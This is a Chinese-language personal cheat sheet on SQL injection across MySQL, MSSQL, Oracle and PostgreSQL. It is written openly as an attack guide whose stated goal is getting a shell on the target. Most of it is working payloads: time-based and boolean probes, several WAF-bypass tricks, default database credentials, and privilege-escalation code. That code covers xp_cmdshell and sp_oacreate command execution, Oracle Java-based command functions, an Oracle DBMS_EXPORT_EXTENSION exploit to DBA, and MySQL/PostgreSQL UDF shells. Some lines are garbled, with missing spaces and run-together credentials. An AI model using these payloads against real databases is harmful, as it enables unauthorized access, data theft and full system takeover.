前言
本文叙述了在Mysql、MSsql、Oracle、PostgreSQL平台下的sql注入探测方式与利用,作为个人笔记,没有框架以及中间件的参与。
文章的内容并不全面,日后有接触新的方法会有补充。
探测方法
首先贴出增删改查的基本语句,加粗部分为用户可控:
mysql:
select item from table wherevaluelike db_value;
select item1,item2 from table where '**value1'**like db_value order by '**value2'**limitvalue3;
update table set db_value1=‘value1’,db_value2=value2where 'value3'=db_value3;
insert into table set item1='value1',item2=value2;
delete from table where item=value1order byvalue2;
mssql:
select item from table wherevaluelike db_value;
select item1,item2 from(
select item1,item2,row_number()over(order by 'value1') as num from table) as tablename
where num betweenvalue2andvalue3;
update table set db_value1=‘value1’,db_value2=value2 where'value3'=db_value3;
insert into table (item1,item2) values ('value1',value2);
delete table where item=value1order byvalue2;
oracle:
select item from table wherevaluelike db_value;
select item1,item2 from
(select rownum r,item1,item2 from
(select item1,item2 from table2 order byvalue1) table
where rownum <=value2) table1 where r>value3;
update table set db_value1=‘value1’,db_value2=value2where 'value3'=db_value3;
insert into table (item1,item2) values ('value1',value2);
delete table where item=value1order byvalue2;
postgresql:
select item from table wherevaluelike db_value;
select item from table limitvalue1offsetvalue2;
update table set db_value1=‘value1’,db_value2=value2where 'value3'=db_value3;
insert into table (item1,item2) values ('value1',value2);
delete table where item=value1order byvalue2;
然后是探测步骤和语句:
这些语句分开的时候感觉都一样,但是把上面的语句加粗的地方替换成探测语句就很明显了。
1.首先输入单引号、双引号,或者分号、小括号加引号
如果后两个响应的结果与第一个不同(或者报错),则进入下一步测试,若结果有差异,基本可以确定是布尔类型的注入;
p=value
p=value' -> p=' and '1'=1' => p=' and '1'=2'
p=value" -> p=" and "1"=1" => p=" and "1"=2"
2.然后往payload中插入字符串连接符,判断数据库类型;
p=value
p=val' 'ue -> mysql
p=val'+'ue -> mssql
p=val'||'ue -> oracle、postgresql
3.如果上面的探测没有得到结果的话就可以尝试延时盲注,通过响应的延时情况判断是否存在注入;
mysql:p=' and sleep(5)#
mssql:p=' if ascii(...)=5 waitfor delay '0:0:5'--
oracle:p=' and dbms_lock.sleep(5)--
postgresql:p=' and pg_sleep(5)--
常用函数
mysql:
group_concat()——拼接组里面的所有字符串,用逗号分隔
concat()——将多个字符串拼接成一个字符串
concat_ws()——同上
left(str,n)——返回字符串str的前n个字符
right(str,n)——返回字符串str的后n个字符
substr(str,b,len)——从字符串str的位置b截取长度为len的子字符串
substring(str,b,len)——同上
mid(str,b,len)——同上
eval()——执行命令
system "..."——执行命令
load_file()——读取本地文件
into outfile——写文件
information_schema——保存着mysql维护的所有其他数据库信息(库名、表、用户及其权限等等)
mssql:
is_srvrolemember(‘’)——查询权限,sysadmin:系统管理员;db_owner:库权限;public:公共权限
opendatasource(provider_name,init_string)——用于反弹注入
|——provider_name:注册为用于访问数据源的OLE DB提供程序的PROGID的名称
|——init_string:链接字符串=链接地址,端口,用户名,密码,数据库名
convert()——数据类型转换,例:convert(int,@@SERVERNAME)——获取服务器主机信息
exec()——执行命令
cast()——将查询的数据转化成字符型
len()——判断字符串长度
substring(str,b,len)——从字符串str的位置b截取长度为len的子字符串
oracle:
exec()——执行命令
substr(str,b,len)——从字符串str的位置b截取长度为len的子字符串
length()——获取字符串长度
concat()——将多个字符串拼接成一个字符串
ascii()——将字符串转换为ascii码
userenv(parameter)——返回当前会话信息
postgresql:
system('')——执行系统命令
length()——统计字符串中字符数目
substring('str' from b for len)——从字符串str的位置b截取长度为len的子字符串
ascii()——将字符串转换为ascii码
chr()——将ascii码转换成字符
绕过
正常情况下服务器会对用户输入进行严格把关,这里也总结了一些常见的waf和过滤器的绕过手段:
1.大小写变种
'uNioN SeLEcT *frOm table wHeRe username='admin'--
2.语句中插入注释(比如用注释代替空格,like代替"=")
'/**/UNION/**/SELECT/**/password/**/FROM/**/table/**/WHERE/**/username/**/LIKE/**/'admin'--
3.将问题字符进行url编码,甚至二次编码
%2527%2f%2a%2a%2funion%20select%20password%20from%20table%20where%20username%20like%20%2527admin%2527--
4.使用动态查询执行
通常数据库允许动态执行sql查询,只需要向执行查询的数据库函数传递一个查询语句即可,这种办法可以用来绕过一些过滤器。若sql关键词被限制,可以尝试拼接:
Mysql:'sel' 'ect'(" "需要编码成%20)
Mssql:'sel'+'ect'("+"需要编码成%2b)
Oracle:'sel'||'ect'
postgresql:'sel'||'ect'
用char()和ascii码拼接,可绕过引号限制
mysql:没有这种函数,需要自定义
mssql:exec('select * from table')
oracle:execute immediate 'select * from table'
postgresql:没有这种函数,需要自定义
5.用空字节
通常的输入过滤器都是在应用程序之外的代码实现的(IDS),这些系统一般是由原生编程语言开发而成,在原生编程语言中,根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串。
%00' union select username,password from users where username='admin'--
6.嵌套表达式
一些过滤器会先从用户输入里剥离特定的字符或表达式,再进行处理。
seleselectct
7.利用截断
过滤器通常会对用户提供数据进行多种操作,有时操作会包括把输入截断成最大长度或调整使其位于拥有预定义MAX长度的数据库字段内,通过插入截断字符串的量+一个分隔符(如单引号),破坏语句闭合,使其产生第二个注入点。
检测方法也很简单,第一个请求为偶数个单引号,第二个请求为奇数个单引号,若存在截断漏洞,其中一个会向查询插入奇数个单引号,从而引发一个未终结的字符串,并产生数据库错误。
第一次:''''''''''''''''''''''
第二次:a'''''''''''''''''''''
8.宽字节注入
所谓的宽字节,实际上就是两个字节,在转换编码的过程中,将单字节的编码结合其后的编码看做两字节,即将两个字符误认为是一个宽字符而解码,GB2312、GBK、GB18030、BIG5、Shift_JIS等宽字节编码的数据库存在此漏洞,utf-8是单字符编码,用这种编码的数据库不存在此漏洞。
?id=%d5%27
#返回:誠'
#单引号没有被转义,存在宽字节注入
9.使用非标准入口点
很多waf会检查请求参数的值,但不会验证参数名,在通过搜索查询引用页进行注入可以尝试这种方法,除自定义请求机制外,很多应用会执行浏览分析功能,可以通过在搜索url的查询参数中嵌入攻击并在引用页头部提交该查询来执行sql注入。除参数名,在http头里的host、useragent等都有可能成为sql注入的攻击点。
GET /index.php HTTP/1.1
Host: www.example.org
Referer: http://www.google.com/search?hl=en&q=a';+waitfor+delay+'0:0:30'--
10.避开自定义过滤器
需要发挥想象力,例如可以给包名加双引号,在包名前添加跳转标签等。
11.利用二阶注入
这种攻击流程大致如下:
1.攻击者在请求中提交某种经过构思的输入
2.服务器存储输入,以便后面使用并响应请求
3.攻击者提交第二个(不同的)请求
4.为处理第二个请求,服务器会检索已经存储的输入并处理,导致注入的sql语句被执行
5.若可行,服务器会对第二个请求的响应中向攻击者返回结果
在个人信息页面更新自己的用户名为a'+@@version+'a,这里经过了严格的过滤,语句没有被执行:
UPDATE table_users SET name='a' '+@@version+' 'a' WHERE id=10;
后面查看个人信息的时候执行了之前构造的sql语句:
SELECT * FROM table_users WHERE username='a'+@@version+'a';
12.客户端sql注入
有一种场景是在客户端有一个客户端数据库,现在大多数情况下会被用于保存历史记录,如果安全限制做的不够好,攻击者可以通过一些方法把攻击语句插入到其他客户的数据库里,对其他用户造成攻击。这种攻击的效果取决于服务器规定如何使用在客户端的本地数据库,在结果判断上属于盲注的类型,因为结果不会返回给攻击者。但如果攻击者有客户端环境,在白盒情况下,可以通过反复测试得到一条精心构造后的攻击语句,然后将这条语句在线上使用,从而造成攻击。
13.混合攻击
指联合使用多种漏洞攻击服务器。
?uname=123+union+select+1,'',1
利用
渗透测试的最终目的就是为了控制对方设备,简单来讲就是getshell,sql注入也是围绕着getshell服务的,能做到的有以下几点:
1.信息收集
mysql:
version()——数据库版本
@@version_compile_os——当前操作系统
@@datadir——数据库路径
@@basedir——安装路径
current_user()——当前用户名
session_user()——连接数据库的用户名
mssql:
@@version()——查看数据库版本
exec master..xp_msver——查看系统信息
xp_readerrorlog 0——查看日志文件(需要exec执行)
sp_helpsrvrolemember——查看用户所属角色信息
IS_SRVROLEMEMBER('sysadmin')——查看当前用户权限
sp_helpuser——查看当前用户
oracle:
v$version——数据库版本
product_component_version——也是数据库版本
dbms_output.put_line( dbms_db_version.version )——也是数据库版本,需要exec执行
ORACLE_HOME——数据库安装路径(直接查环境变量)
select member from v$logfile;——日志文件位置
select file_name from dba_data_files;——数据库文件路径
role_sys_privs——当前用户的角色权限
user_sys_privs——用户的系统权限
user_users——当前用户详细信息
user_role_privs——当前用户角色信息
postgresql:
version()——数据库版本
PGHOME——安装路径(环境变量)
user——查看所有用户
current_user——当前用户名
session_user——连接数据库的用户名
2.提权
mysql:
默认用户密码
root
mof:
在windows平台下,C:/windows/system32/wbem/mof/nullevt.mof这个文件在很短的时间内会以system权限执行一次,只需要把代码存储到这个文件中就可以实现提权。要实现mof有两个前提,首先要有mof目录可写权限,比如说root用户,其次是突破--secure-file-priv限制。
udf:
udf提权是利用自定义函数的功能,将mysql账号转化为系统system权限。版本>5.1,udf文件在安装目录下的lib/plugin内(默认不存在),利用udf提权有两个前提,其中一个是用户需要对mysql库有insert和delete权限,另一个和mof一样,需要突破--secure-file-priv限制。
具体步骤:
show variables like '%version_%';
#查看mysql版本是32位还是64位
show global variables like 'secure%';
#值=空则可以写入导出文件
show variables like 'plugin%';
#查看plugin目录
select 'xxx' into dumpfile 'C:\\Program\ Files\\MySQL\\MySQL\ Server\ 5.4\\lib\\plugin::$INDEX_ALLOCATION
#没有则需要新建
1.官网下载mysql源码
2.找到udf_example.def和udf_example.cc
3.往udf_example.cc里面添加自定义函数
4.在udf_example.def里注册刚刚添加的函数
5.vs编译
6.提取编译后的udf文件
#自定义函数插件的编写步骤
create function lookup returns string soname 'udf_example';
#导入udf文件,win下为.dll后缀
select myfun('...');
#利用mysql的自定义函数myfun()执行命令'...',结果显示在查询结果中
drop function myfun;
#删除函数myfun
还有一种是反弹shell提权,本质上也属于udf提权。具体过程是讲udf文件转换成16进制,写入到数据库中,然后再导出到/lib/plugin目录,接下来的步骤就和udf提取一样。
mssql:
默认用户密码
sa
sqlserver的提权有xp_cmdshell、SP_OACreate和沙盒提权三种;
xp_cmdshell:
这个提权方法出现在存储过程中,xp_cmdshell是这种存储中的其中一个能执行系统命令的脚本,要利用它提权需要先开启配置:
exec sp_configure 'show advanced options',1;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
#接下来就可以执行系统命令了
exec master.dbo.xp_cmdshell '...';
SP_OACreate:
主要是利用OLE对象的run方法执行系统命令,也是存储过程中能够利用的提权办法,同样需要开启配置:
exec sp_configure 'show advanced options',1;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;
#配置开启后,先声明一个变量用于存储返回的对象
declare @a int;
#然后调用wscript.shell组件,将返回的对象存储到@a变量中
exec sp_oacreate 'wscript.shell',@a out;
#调用cmd执行系统命令,执行结果直接输入到文件,因此返回值填null
exec sp_oamethod @a,'run',null,'c:\windows\system32\cmd.execommand > c:\result.txt';
exec sp_oacreate 'wscript.shell',@a out;
沙盒提权:
和上面的方法一样,先开启配置:
exec sp_configure 'show advanced options',1;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;
#沙盒模式参数含义:
#0=在任何所有者中禁止启用安全模式;
#1=仅在允许范围内;
#2=必须在access模式下(默认)
#3=完全开启
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
#执行命令"..."
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("...")');
oracle:
默认用户密码
syschang_on_install
systemmanager
scotttiger
Dbsnmpdbsnmp
oracle的提权分两种,第一种是create session提权,另一种是create procedure提权。需要先获取java权限或java.lang.RuntimePermission权限,后者可以执行任意代码,具体步骤如下:
create session提权:
#创建包
select dbms_xmlquery.newcontext('
declare PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate '
'create or replace and compile java source named "LinxUtil" as
import java.io.*;
public class MySh extends Object {
public static String shell(String args) {
try{
BufferedReader br = new BufferedReader(new InputStreamReader(Runtime
.getRuntime()
.exec(args)
.getInputStream()));
String stmp,str = "";
while ((stmp = br.readLine()) != null) str += stmp + "\n";
br.close();
return str;
} catch (Exception e){return e.toString();}
}
}'';
commit;
end;
') from dual;
#获取java权限
select dbms_xmlquery.newcontext('
declare PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate '
'create or replace function msh(p_cmd in varchar2) return varchar2 as language java name ''''MySh.shell(java.lang.String) return String'''';
'';
commit;
end;
') from dual;
#调用函数执行命令
select msh('...') from dual;
create procedure提权:
#创建包
create or replace and resolve java source named JAVACMD as
import java.lang.*;
import java.io.*;
public class MyShell{
public static void myexec(String command) throws IOException{
Runtime.getRuntime().exec(command);
}
}
/
#注册自定义函数
create or replace procedure mysys(command in varchar) as language java name 'MyShell.myexec(java.lang.String)';
#调用函数执行命令
EXEC mysys('...');
还有一种属于漏洞提权,受影响版本<10.2.0.4,能够将普通权限用户提升成dba权限的用户,步骤如下:
登录低权限用户,如scott
然后输入下面代码:
Create or Replace
PACKAGE HACKERPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER;
END;
/
执行后再输入:
DECLARE
INDEX\_NAME VARCHAR2(200);
INDEX\_SCHEMA VARCHAR2(200);
TYPE\_NAME VARCHAR2(200);
TYPE\_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS\_INTEGER;
GMFLAGS NUMBER;
v\_Return VARCHAR2(200);
BEGIN
INDEX\_NAME := 'A1';
INDEX\_SCHEMA := 'SCOTT';
TYPE\_NAME := 'HACKERPACKAGE';
TYPE\_SCHEMA := 'SCOTT';
VERSION := '10.2.0.1.0';
GMFLAGS := 1;
v\_Return := SYS.DBMS\_EXPORT\_EXTENSION.GET\_DOMAIN\_INDEX\_METADATA(INDEX\_NAME =>
INDEX\_NAME,
INDEX\_SCHEMA=> INDEX\_SCHEMA,
TYPE\_NAME => TYPE\_NAME,
TYPE\_SCHEMA => TYPE\_SCHEMA,
VERSION => VERSION,
NEWBLOCK => NEWBLOCK,
GMFLAGS => GMFLAGS);
END;
/
再次查看权限发现权限为dba用户。
postgresql:
默认用户密码
postgres
在postgresql中,低版本可以直接调用system()函数,>8.2版本则需要利用udf提权,具体步骤如下:
select \* from pg\_language;
#查看支持的扩展语言,默认支持c
select lo\_create(9023);
insert into pg\_largeobject values (9023, 0, decode('分片后的数据')
...
select lo\_export(9023, '/tmp/udf.so');
#编译完反弹shell后需要将文件分割成2048字节的块进行传输
create or replace function sys\_eval(text) returns text as '/tmp/udf.so', 'myexec' language c returns null on null input immutable;
#注册函数
select myexec('...')
#执行命令
drop function sys\_eval;
#删除函数
参考:
《sql注入攻击与防御第二版》
https://www.freesion.com/article/7583153270/